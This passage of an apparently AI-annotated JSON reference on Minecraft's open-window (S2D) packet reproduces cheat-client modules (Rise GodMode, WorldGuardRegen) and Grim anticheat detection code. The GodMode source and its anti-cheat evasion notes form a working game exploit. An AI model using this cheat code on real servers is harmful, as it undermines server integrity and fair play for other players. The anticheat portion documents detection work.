mc.thePlayer.getHealth() < this.health.getValue().floatValue() && ticks <= 1) {\n            event.setJump(false);\n        }\n    };\n}\n\n// NOTE (AI): The S2D cancel (lines ~67-69) is gated on ticks <= 1, the same guard as the position drop and attack sandwich, so the window suppression only lasts for the regen burst.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/regen/WorldGuardRegen.java",
      "vanilla_hook": "PreMotionEvent, PacketSendEvent, PacketReceiveEvent, StrafeEvent, MoveInputEvent.",
      "anti_cheat_notes": "The cancel is brief and purposeful: a phantom window for one or two ticks is below most anti-cheat window-state checks, which expect C0D echoes after a delay. Long cancels would desync window items.",
      "variations": "Identical file in Rise 6.1.30 under com/alan/clients/module/impl/combat/regen/."
     },
     {
      "name": "GodMode (window desync)",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Cancel every open-window packet so the server's container state permanently diverges from the client's.",
      "how_it_works": "Cancels all S2D in PacketReceiveEvent. Combined with the module's core trick (drop y by 0.05 every pre-motion, wrap attacks in a position sandwich via PacketUtil.sendNoEvent), the server keeps an open phantom container while the client stays in normal movement. onEnable snapshots yaw/pitch for the desync frames.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/GodMode.java =====\npackage com.alan.clients.module.impl.exploit;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.input.MoveInputEvent;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.server.S2DPacketOpenWindow;\n\n@ModuleInfo(aliases = {\"module.combat.godmode.name\"}, description = \"module.exploit.godmode.description\", category = Category.EXPLOIT)\npublic class GodMode extends Module {\n\n    private float yaw;\n    private float pitch;\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        event.setPosY(event.getPosY() - 0.05);\n        event.setYaw(yaw);\n        event.setPitch(pitch);\n    };\n\n    @EventLink\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof C02PacketUseEntity) {\n            final C02PacketUseEntity wrapper = (C02PacketUseEntity) p;\n\n            if (wrapper.getAction().equals(C02PacketUseEntity.Action.ATTACK)) {\n                event.setCancelled();\n\n                PacketUtil.sendNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                PacketUtil.sendNoEvent(wrapper);\n                PacketUtil.sendNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.05, mc.thePlayer.posZ, false));\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        if (event.getPacket() instanceof S2DPacketOpenWindow) {\n            event.setCancelled();\n        }\n    };\n\n    @EventLink\n    public final Listener<StrafeEvent> onStrafe = event -> {\n        event.setSpeed(0);\n    };\n\n    @EventLink\n    public final Listener<MoveInputEvent> onMove = event -> {\n        event.setJump(false);\n    };\n\n    @Override\n    public void onEnable() {\n        yaw = mc.thePlayer.rotationYaw;\n        pitch = mc.thePlayer.rotationPitch;\n    }\n}\n\n// NOTE (AI): The S2D cancel (lines ~51-53) is unconditional, unlike WorldGuardRegen's tick-gated version. The y-drop and attack sandwich above it are the actual godmode mechanism; the window cancel keeps the server-side state desynced.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/GodMode.java",
      "vanilla_hook": "PreMotionEvent, PacketSendEvent, PacketReceiveEvent, StrafeEvent, MoveInputEvent.",
      "anti_cheat_notes": "High detection risk by design: permanent window desync plus position desync is a classic godmode signature. Modern anti-cheats correlate C0E/C0D history with window ids and flag clicks against windows the client never opened.",
      "variations": "Identical file in Rise 6.1.30. Rise 5.99 has no S2D reference in any module."
     }
    ],
    "general_hooks": "Both Rise 6.x modules filter S2D on PacketReceiveEvent; the surrounding exploit logic lives in PreMotionEvent and PacketSendEvent.",
    "client_variations": "Rise 6.1.30 and 6.2.4 ship identical GodMode and WorldGuardRegen files. Memeware, Nekoware, Sigma, Spicy and Tenacity reference S2D only in vanilla sources. No client uses S2D for chest stealing or shop detection.",
    "related": [
     "S2EPacketCloseWindow",
     "S2FPacketSetSlot",
     "S30PacketWindowItems"
    ],
    "anticheat": {
     "overview": "The open-window packet is the state anchor for inventory anti-cheat: modern anticheats mirror the S2D open into a simulated window state and then validate every C0E click against it. Grim records the container id and type on the send side and rejects impossible click combinations, and its CompensatedInventory runs the full openWindowID state machine. Intave timestamps the open so its inventory-click-analysis check can measure click delay, and Artemis transaction-confirms the open to flip the inventory-open flag. Classic repos stop at wrappers (FlopAC WrappedOutOpenWindow, Kauri PacketHandler, Negativity PacketType).",
     "checks": [
      {
       "name": "BadPacketsP invalid click (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Reject crafted window-click packets whose button values are impossible for the click type.",
       "how_it_works": "PacketSendListener records containerType and containerId from the S2D OPEN_WINDOW packet; PacketReceiveListener then validates every C0E click: button range per click type (PICKUP/QUICK_MOVE/CLONE 0-2, SWAP 0-8 or 40, THROW 0-1, QUICK_CRAFT a fixed set, PICKUP_ALL 0). The verbose line also reports whether the click's window id matches the container opened by S2D, and the packet is cancelled on repeated flags.",
       "detects": "Crafted C0E packets used for packet-crash exploits and invalid-click lag machines, plus clicks that reference a window the server never opened.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsP.java =====\npackage ac.grim.grimac.checks.impl.badpackets;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.impl.verbose.VerboseCodecs;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientClickWindow;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientClickWindow.WindowClickType;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerOpenWindow;\n\n@CheckData(name = \"BadPacketsP\", stableKey = \"grim.badpackets.invalid_click\", description = \"Invalid window click packet\", experimental = true)\npublic class BadPacketsP extends Check implements PacketReceiveListener, PacketSendListener {\n    private static final Verbose V =\n            Verbose.of(\"clickType={clicktype_lower}, button={sint}[, container={sint}]\");\n\n    private int containerType = -1;\n    private int containerId = -1;\n\n    public BadPacketsP(GrimPlayer playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            WrapperPlayServerOpenWindow window = new WrapperPlayServerOpenWindow(event);\n            this.containerType = window.getType();\n            this.containerId = window.getContainerId();\n        }\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.CLICK_WINDOW) {\n            WrapperPlayClientClickWindow wrapper = new WrapperPlayClientClickWindow(event);\n            WindowClickType clickType = wrapper.getWindowClickType();\n            int button = wrapper.getButton();\n\n            // TODO: Adjust for containers\n            boolean flag = switch (clickType) {\n                case PICKUP, QUICK_MOVE, CLONE -> button > 2 || button < 0;\n                case SWAP -> (button > 8 || button < 0) && button != 40;\n                case THROW -> button != 0 && button != 1;\n                case QUICK_CRAFT -> button == 3 || button == 7 || button > 10 || button < 0;\n                case PICKUP_ALL -> button != 0;\n                case UNKNOWN -> true;\n            };\n\n            // Allowing this to false flag to debug and find issues faster\n            if (flag) {\n                boolean hasContainer = wrapper.getWindowId() == containerId;\n                if (flag(V.write(verbose()).uint(VerboseCodecs.enumId(clickType)).sint(button).bool(hasContainer).sint(containerType))\n                        && shouldModifyPackets()) {\n                    event.setCancelled(true);\n                    player.onPacketCancel();\n                }\n            }\n        }\n    }\n}\n// NOTE (AI): The onPacketSend branch is the S2D hook: it records the container id and type from the server open. The flag verbosity includes whether the click's window id matches the opened container.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsP.java",
       "variations": "CrashD in the same repo combines the S2D open with click parsing to drive crash checks; FlopAC WrappedOutOpenWindow and Kauri PacketHandler only wrap the packet."
      },
      {
       "name": "CompensatedInventory open-window state (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Emulate the server-side inventory and open-window id so click, slot and item packets can be validated against client-visible state.",
       "how_it_works": "On the S2D OPEN_WINDOW send it stores openWindowID from the container id (the horse-window variant is handled separately); the S2F set-slot and S30 window-items handlers then route updates to the player inventory (id 0) or the opened menu (id equal to openWindowID). Clicks against a mismatched window id are treated as invalid, and closeActiveInventory resets the menu, carried item and id.",
       "detects": "Inventory desync, chest-stealer and inventory-manipulation that click windows the server never opened, and carried-item spoofing.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedInventory.java =====\npackage ac.grim.grimac.utils.latency;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.BlockPlace;\nimport ac.grim.grimac.utils.inventory.EquipmentType;\nimport ac.grim.grimac.utils.inventory.Inventory;\nimport ac.grim.grimac.utils.inventory.inventory.AbstractContainerMenu;\nimport ac.grim.grimac.utils.inventory.inventory.MenuType;\nimport ac.grim.grimac.utils.inventory.inventory.NotImplementedMenu;\nimport ac.grim.grimac.utils.lists.CorrectingPlayerInventoryStorage;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.item.ItemStack;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemType;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.DiggingAction;\nimport com.github.retrooper.packetevents.protocol.player.GameMode;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientClickWindow;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientCreativeInventoryAction;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientHeldItemChange;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerDigging;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientUseItem;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerOpenHorseWindow;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerOpenWindow;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPlayerInventory;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowItems;\nimport lombok.Getter;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n// Updated to support modern 1.17 protocol\npublic class CompensatedInventory extends Check implements PacketReceiveListener, PacketSendListener {\n    private static final int PLAYER_INVENTORY_CASE = -1;\n    private static final int UNSUPPORTED_INVENTORY_CASE = -2;\n    // \"Temporarily\" public for debugging\n    public final Inventory inventory;\n    // \"Temporarily\" public for debugging\n    public AbstractContainerMenu menu;\n    // Not all inventories are supported due to complexity and version differences\n    public boolean isPacketInventoryActive = true;\n    public boolean needResend = false;\n    public int stateID = 0; // Don't mess up the last sent state ID by changing it\n    private int openWindowID = 0;\n    // Special values:\n    // Player inventory is -1\n    // Unsupported inventory is -2\n    private int packetSendingInventorySize = PLAYER_INVENTORY_CASE;\n\n    // The item held at the start of the current client tick (processed at the end of the previous tick)\n    // also updated before slot changes to account for the delay when using hotbar keybinds\n    // Currently only used by 1.21.11+ players to handle attribute swapping items with the ATTACK_RANGE Component\n    @Getter\n    private ItemStack startOfTickStack = ItemStack.EMPTY;\n\n    public CompensatedInventory(GrimPlayer playerData) {\n        super(playerData);\n\n        CorrectingPlayerInventoryStorage storage = new CorrectingPlayerInventoryStorage(player, 46);\n        inventory = new Inventory(playerData, storage);\n\n        menu = inventory;\n    }\n\n    // Meant for 1.17+ clients who send changed slots, making the server not send the entire inventory\n    private void markPlayerSlotAsChanged(int clicked) {\n        // Player inventory\n        if (openWindowID == 0) {\n            inventory.getInventoryStorage().handleClientClaimedSlotSet(clicked);\n            return;\n        }\n\n        // We don't know size of the inventory, so we can't do anything\n        // We will resync later.\n        if (menu instanceof NotImplementedMenu) return;\n\n        // 9-45 are the player inventory slots that are used\n        // There are 36 player slots in each menu that we care about and track.\n        int nonPlayerInvSize = menu.getSlots().size() - 36 + 9;\n        int playerInvSlotclicked = clicked - nonPlayerInvSize;\n        // Bypass player inventory\n        inventory.getInventoryStorage().handleClientClaimedSlotSet(playerInvSlotclicked);\n    }\n\n    public ItemStack getItemInHand(InteractionHand hand) {\n        return hand == InteractionHand.MAIN_HAND ? getHeldItem() : getOffHand();\n    }\n\n    /**\n     * Marks that the server has updated a slot by the specified ID in the specified inventory ID.\n     * @param clicked the updated slot\n     * @param windowID the inventory ID\n     */\n    private void markServerForChangingSlot(int clicked, int windowID) {\n        // Unsupported inventory\n        if (packetSendingInventorySize == UNSUPPORTED_INVENTORY_CASE) return;\n        // Player inventory\n        if (packetSendingInventorySize == PLAYER_INVENTORY_CASE || windowID == 0) {\n            // Result slot isn't included in storage, we must ignore it\n            inventory.getInventoryStorage().handleServerCorrectSlot(clicked);\n            return;\n        }\n        // See note in above method.\n        int nonPlayerInvSize = menu.getSlots().size() - 36 + 9;\n        int playerInvSlotclicked = clicked - nonPlayerInvSize;\n\n        inventory.getInventoryStorage().handleServerCorrectSlot(playerInvSlotclicked);\n    }\n\n    public ItemStack getHeldItem() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getHeldItem() :\n                player.platformPlayer.getInventory().getItemInHand();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getOffHand() {\n        if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_9))\n            return ItemStack.EMPTY;\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getOffhand() :\n                player.platformPlayer.getInventory().getItemInOffHand();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getHelmet() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getHelmet() :\n                player.platformPlayer.getInventory().getHelmet();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getChestplate() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getChestplate() :\n                player.platformPlayer.getInventory().getChestplate();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getLeggings() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getLeggings() :\n                player.platformPlayer.getInventory().getLeggings();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getBoots() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getBoots() :\n                player.platformPlayer.getInventory().getBoots();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    private ItemStack getByEquipmentType(EquipmentType type) {\n        return switch (type) {\n            case HEAD -> getHelmet();\n            case CHEST -> getChestplate();\n            case LEGS -> getLeggings();\n            case FEET -> getBoots();\n            case OFFHAND -> getOffHand();\n            case MAINHAND -> getHeldItem();\n        };\n    }\n\n    public boolean hasItemType(ItemType type) {\n        if (isPacketInventoryActive || player.platformPlayer == null)\n            return inventory.hasItemType(type);\n\n        // Fall back to platform inventories\n        for (ItemStack itemStack : player.platformPlayer.getInventory().getContents()) {\n            if (itemStack != null && itemStack.getType() == type) return true;\n        }\n        return false;\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.USE_ITEM) {\n            WrapperPlayClientUseItem item = new WrapperPlayClientUseItem(event);\n\n            ItemStack use = item.getHand() == InteractionHand.MAIN_HAND ? getHeldItem() : getOffHand();\n\n            EquipmentType equipmentType = EquipmentType.getEquipmentSlotForItem(use);\n            if (equipmentType != null) {\n                int slot;\n                switch (equipmentType) {\n                    case HEAD -> slot = Inventory.SLOT_HELMET;\n                    case CHEST -> slot = Inventory.SLOT_CHESTPLATE;\n                    case LEGS -> slot = Inventory.SLOT_LEGGINGS;\n                    case FEET -> slot = Inventory.SLOT_BOOTS;\n                    default -> {\n                        return; // Not armor, therefore we shouldn't run this code\n                    }\n                }\n\n                ItemStack currentEquippedItem = getByEquipmentType(equipmentType);\n                // Only 1.19.4+ clients support swapping with non-empty items\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_19_4) && !currentEquippedItem.isEmpty())\n                    return;\n\n                // 1.19.4+ clients support swapping with non-empty items\n                int swapItemSlot = item.getHand() == InteractionHand.MAIN_HAND ? inventory.getSelected() + Inventory.HOTBAR_OFFSET : Inventory.SLOT_OFFHAND;\n\n                // Mojang implemented this stupidly, I rewrote their item swap code to make it somewhat cleaner.\n                // Slot in hotbar\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(swapItemSlot);\n                inventory.getInventoryStorage().setItem(swapItemSlot, currentEquippedItem);\n\n                // Equipment slot\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(slot);\n                inventory.getInventoryStorage().setItem(slot, use);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.PLAYER_DIGGING) {\n            WrapperPlayClientPlayerDigging dig = new WrapperPlayClientPlayerDigging(event);\n\n            // 1.8 clients don't predict dropping items\n            if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) return;\n\n            if (dig.getAction() == DiggingAction.DROP_ITEM) {\n                ItemStack heldItem = getHeldItem();\n                if (heldItem != null) {\n                    heldItem.setAmount(heldItem.getAmount() - 1);\n                    if (heldItem.getAmount() <= 0) {\n                        heldItem = null;\n                    }\n                }\n                inventory.setHeldItem(heldItem);\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n            }\n\n            if (dig.getAction() == DiggingAction.DROP_ITEM_STACK) {\n                inventory.setHeldItem(null);\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.HELD_ITEM_CHANGE) {\n            final int slot = new WrapperPlayClientHeldItemChange(event).getSlot();\n\n            // Stop people from spamming the server with an out-of-bounds exception\n            if (slot > 8 || slot < 0) return;\n\n            // set this before we change the selected slot so we get the previous item held\n            this.startOfTickStack = getHeldItem();\n            inventory.setSelected(slot);\n        } else if (event.getPacketType() == PacketType.Play.Client.CREATIVE_INVENTORY_ACTION) {\n            WrapperPlayClientCreativeInventoryAction action = new WrapperPlayClientCreativeInventoryAction(event);\n            if (player.gamemode != GameMode.CREATIVE) return;\n\n            boolean valid = action.getSlot() >= 1 &&\n                    (PacketEvents.getAPI().getServerManager().getVersion().isNewerThan(ServerVersion.V_1_8) ?\n                            action.getSlot() <= 45 : action.getSlot() < 45);\n\n            if (valid) {\n                inventory.getSlot(action.getSlot()).set(action.getItemStack());\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(action.getSlot());\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.CLICK_WINDOW && !event.isCancelled()) {\n            WrapperPlayClientClickWindow click = new WrapperPlayClientClickWindow(event);\n\n            // How is this possible? Maybe transaction splitting.\n            if (click.getWindowId() != openWindowID) {\n                return;\n            }\n\n            // Don't care about this click since we can't track it.\n            if (menu instanceof NotImplementedMenu) {\n                return;\n            }\n\n            // Mark the slots the player has changed as changed, then continue simulating what they changed\n            Optional<Map<Integer, ItemStack>> slots = click.getSlots();\n            slots.ifPresent(integerItemStackMap -> integerItemStackMap.keySet().forEach(this::markPlayerSlotAsChanged));\n\n            // 0 for left click\n            // 1 for right click\n            int button = click.getButton();\n            // Offset by the number of slots in the inventory actively open\n            // Is -999 when clicking off the screen\n            int slot = click.getSlot();\n            // Self-explanatory, look at the enum's values\n            WrapperPlayClientClickWindow.WindowClickType clickType = click.getWindowClickType();\n\n            if (slot == -1 || slot == -999 || slot < menu.getSlots().size()) {\n                menu.doClick(button, slot, clickType);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.CLOSE_WINDOW) {\n            this.closeActiveInventory();\n        } else if (isTickPacket(event.getPacketType())) {\n            this.startOfTickStack = getHeldItem();\n        }\n    }\n\n    public void markSlotAsResyncing(BlockPlace place) {\n        // Update held item tracking\n        if (place.hand == InteractionHand.MAIN_HAND) {\n            inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n        } else {\n            inventory.getInventoryStorage().handleServerCorrectSlot(Inventory.SLOT_OFFHAND);\n        }\n    }\n\n    public void onBlockPlace(BlockPlace place) {\n        if (player.gamemode != GameMode.CREATIVE && place.itemStack.getType() != ItemTypes.POWDER_SNOW_BUCKET) {\n            markSlotAsResyncing(place);\n            place.itemStack.setAmount(place.itemStack.getAmount() - 1);\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        // Not 1:1 MCP, based on Wiki.VG to be simpler as we need less logic...\n        // For example, we don't need permanent storage, only storing data until the client closes the window\n        // We also don't need a lot of server-sided only logic\n        if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            WrapperPlayServerOpenWindow open = new WrapperPlayServerOpenWindow(event);\n\n            MenuType menuType = MenuType.getMenuType(open.getType());\n\n            AbstractContainerMenu newMenu;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_14)) {\n                newMenu = MenuType.getMenuFromID(player, inventory, menuType);\n            } else {\n                newMenu = MenuType.getMenuFromString(player, inventory, open.getLegacyType(), open.getLegacySlots(), open.getHorseId());\n            }\n\n            packetSendingInventorySize = newMenu instanceof NotImplementedMenu ? UNSUPPORTED_INVENTORY_CASE : newMenu.getSlots().size();\n\n            // There doesn't seem to be a check against using 0 as the window ID - let's consider that an invalid packet\n            // It will probably mess up a TON of logic both client and server sided, so don't do that!\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                openWindowID = open.getContainerId();\n                menu = newMenu;\n                isPacketInventoryActive = !(newMenu instanceof NotImplementedMenu);\n                needResend = newMenu instanceof NotImplementedMenu;\n            });\n        }\n\n        // I'm not implementing this lol\n        if (event.getPacketType() == PacketType.Play.Server.OPEN_HORSE_WINDOW) {\n            WrapperPlayServerOpenHorseWindow open = new WrapperPlayServerOpenHorseWindow(event);\n\n            packetSendingInventorySize = UNSUPPORTED_INVENTORY_CASE;\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                isPacketInventoryActive = false;\n                needResend = true;\n                openWindowID = open.getWindowId();\n            });\n        }\n\n        // 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.CLOSE_WINDOW) {\n            packetSendingInventorySize = PLAYER_INVENTORY_CASE;\n\n            // Disregard provided window ID, client doesn't care...\n            // We need to do this because the client doesn't send a packet when closing the window\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), this::closeActiveInventory);\n        }\n\n        // Should be 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.WINDOW_ITEMS) {\n            WrapperPlayServerWindowItems items = new WrapperPlayServerWindowItems(event);\n            stateID = items.getStateId();\n\n            List<ItemStack> slots = items.getItems();\n            for (int i = 0; i < slots.size(); i++) {\n                markServerForChangingSlot(i, items.getWindowId());\n            }\n\n            final int cachedPacketInvSize = packetSendingInventorySize;\n            final AtomicBoolean updatedValue = new AtomicBoolean();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                // Never true when the inventory is unsupported.\n                // Vanilla ALWAYS sends the entire inventory to resync, this is a valid thing to check\n                // 01/07/2025: Somehow, the server sends a window id 0 update when the player is not in their inventory?\n                // I guess just revert isPacketInventoryActive if the player has a NotImplementedMenu open?\n                // Regardless, the client does accept this packet and updates its inventory, so we must do the same.\n                boolean forceUpdate = slots.size() == cachedPacketInvSize || items.getWindowId() == 0;\n                if (!isPacketInventoryActive && forceUpdate) {\n                    isPacketInventoryActive = true;\n                    updatedValue.set(true);\n                }\n            });\n\n            if (items.getWindowId() == 0) { // Player inventory\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    if (!isPacketInventoryActive) return;\n                    for (int i = 0; i < slots.size(); i++) {\n                        inventory.getSlot(i).set(slots.get(i));\n                    }\n                    if (items.getCarriedItem().isPresent()) {\n                        inventory.setCarried(items.getCarriedItem().get());\n                    }\n                });\n            } else {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    if (!isPacketInventoryActive) return;\n                    if (items.getWindowId() == openWindowID) {\n                        for (int i = 0; i < slots.size(); i++) {\n                            menu.getSlot(i).set(slots.get(i));\n                        }\n                    }\n                    if (items.getCarriedItem().isPresent()) {\n                        inventory.setCarried(items.getCarriedItem().get());\n                    }\n                });\n            }\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                // The server sent a packet for the player's inventory when they had another inventory open - revert.\n                if (updatedValue.get() && !menu.equals(inventory)) {\n                    isPacketInventoryActive = false;\n                }\n            });\n        }\n\n        // This packet replaces SET_SLOT for player inventory for 1.21.2+\n        if (event.getPacketType() == PacketType.Play.Server.SET_PLAYER_INVENTORY) {\n            WrapperPlayServerSetPlayerInventory slot = new WrapperPlayServerSetPlayerInventory(event);\n            final int slotID = slot.getSlot();\n            final ItemStack item = slot.getStack();\n\n            inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (!isPacketInventoryActive) return;\n                inventory.getSlot(slotID).set(item);\n            });\n        }\n\n        // Also 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.SET_SLOT) {\n            // Only edit hotbar (36 to 44) if window ID is 0\n            // Set cursor by putting -1 as window ID and as slot\n            // Window ID -2 means any slot can be used\n            WrapperPlayServerSetSlot slot = new WrapperPlayServerSetSlot(event);\n            final int slotID = slot.getSlot();\n            final int inventoryID = slot.getWindowId();\n            final ItemStack item = slot.getItem();\n\n            if (inventoryID == -2) { // Direct inventory change\n                inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n            } else if (inventoryID == 0) { // Inventory change through window ID, no crafting result\n                inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n            } else {\n                markServerForChangingSlot(slotID, inventoryID);\n            }\n\n            stateID = slot.getStateId();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (!isPacketInventoryActive) return;\n                if (inventoryID == -1) { // Carried item\n                    inventory.setCarried(item);\n                } else if (inventoryID == -2) { // Direct inventory change (only applied if valid slot)\n                    if (inventory.getInventoryStorage().getSize() > slotID && slotID >= 0) {\n                        inventory.getInventoryStorage().setItem(slotID, item);\n                    }\n                } else if (inventoryID == 0) { // Player inventory\n                    // This packet can only be used to edit the hotbar and offhand of the player's inventory if\n                    // window ID is set to 0 (slots 36 through 45) if the player is in creative, with their inventory open,\n                    // and not in their survival inventory tab. Otherwise, when window ID is 0, it can edit any slot in the player's inventory.\n                    if (slotID >= 0 && slotID <= 45) {\n                        inventory.getSlot(slotID).set(item);\n                    }\n                } else if (inventoryID == openWindowID) { // Opened inventory (if not valid, client crashes)\n                    menu.getSlot(slotID).set(item);\n                }\n            });\n        }\n    }\n\n    /**\n     * Closes the player's currently open inventory on the client by resetting to the player's inventory.\n     */\n    private void closeActiveInventory() {\n        isPacketInventoryActive = true;\n        openWindowID = 0;\n        menu = inventory;\n        menu.setCarried(ItemStack.EMPTY); // Reset carried item\n    }\n}\n// NOTE (AI): The OPEN_WINDOW handler stores openWindowID (lines 319-335); click routing keys off openWindowID throughout, so a click whose window id does not match the S2D-opened container is invalid.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedInventory.java",
       "variations": "AbstractContainerMenu in the same repo replays valid click semantics on the emulated menu."
      },
      {
